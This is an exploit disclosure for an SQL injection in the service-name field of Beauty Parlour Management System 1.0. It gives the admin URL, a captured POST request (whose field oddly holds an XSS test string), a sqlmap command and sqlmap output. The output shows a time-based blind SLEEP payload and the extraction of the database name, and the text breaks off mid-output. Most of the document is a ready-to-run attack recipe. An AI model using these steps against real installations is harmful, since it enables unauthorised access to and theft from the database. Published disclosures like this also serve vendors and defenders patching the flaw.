# Exploit Title: Beauty Parlour Management System 1.0 - 'Service Name' SQL Injection # Google Dork: N/A # Date: 19/2/2021 # Exploit Author: Thinkland Security Team # Vendor Homepage: https://phpgurukul.com/beauty-parlour-management-system-using-php-and-mysql/ # Software Link: https://phpgurukul.com/wp-content/uploads/2019/08/Beauty-Parlour-Management-System.zip # Version: V 1.0 # Tested on: Windows、XAMPP # Identify the vulnerability 1. go to http://localhost/bpms/admin/ and login with your account 2. then go to http://localhost/bpms/admin/edit-services.php?editid=17 3. Save the packet data as 3.txt POST /bpms/admin/edit-services.php?editid=17 HTTP/1.1 Host: http://localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 71 Origin: http://localhost Connection: close Referer: http://localhost/bpms/admin/edit-services.php?editid=17 Cookie: PHPSESSID=qaqv7jl8dqci4i2nldnj4n60s0 Upgrade-Insecure-Requests: 1 sername=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E&cost=1&submit= # Exploit Now you can exploit it using sqlmap command: sqlmap -r file --batch --dbms=mysql --current-db example: sqlmap.py -r 3.txt --batch --dbms=mysql --current-db __H__ ___ ___[.]_____ ___ ___ {1.4.10.16#dev} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 09:30:14 /2021-02-19/ [09:30:14] [INFO] parsing HTTP request from '3.txt' it appears that provided value for POST parameter 'sername' has boundaries. Do you want to inject inside? ('') [y/N] N [09:30:14] [WARNING] provided value for parameter 'submit' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [09:30:14] [INFO] testing connection to the target URL [09:30:15] [INFO] testing if the target URL content is stable [09:30:15] [INFO] target URL content is stable [09:30:15] [INFO] testing if POST parameter 'sername' is dynamic [09:30:15] [WARNING] POST parameter 'sername' does not appear to be dynamic [09:30:15] [WARNING] heuristic (basic) test shows that POST parameter 'sername' might not be injectable [09:30:15] [INFO] testing for SQL injection on POST parameter 'sername' [09:30:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [09:30:15] [WARNING] reflective value(s) found and filtering out [09:30:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [09:30:16] [INFO] testing 'Generic inline queries' [09:30:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [09:30:16] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [09:30:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:30:16] [WARNING] time-based comparison requires larger statistical model, please wait........ (done) [09:30:26] [INFO] POST parameter 'sername' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [09:30:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [09:30:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [09:30:27] [INFO] checking if the injection point on POST parameter 'sername' is a false positive POST parameter 'sername' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests: --- Parameter: sername (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sername=' AND (SELECT 3311 FROM (SELECT(SLEEP(5)))YaHW) AND 'HGFO'='HGFO&cost=1&submit= --- [09:30:42] [INFO] the back-end DBMS is MySQL [09:30:42] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [09:30:47] [INFO] fetching current database [09:30:47] [INFO] retrieved: [09:30:57] [INFO] adjusting time delay to 1 second due to good response times bpmsdb current database: 'bpmsdb' [09:31:15] [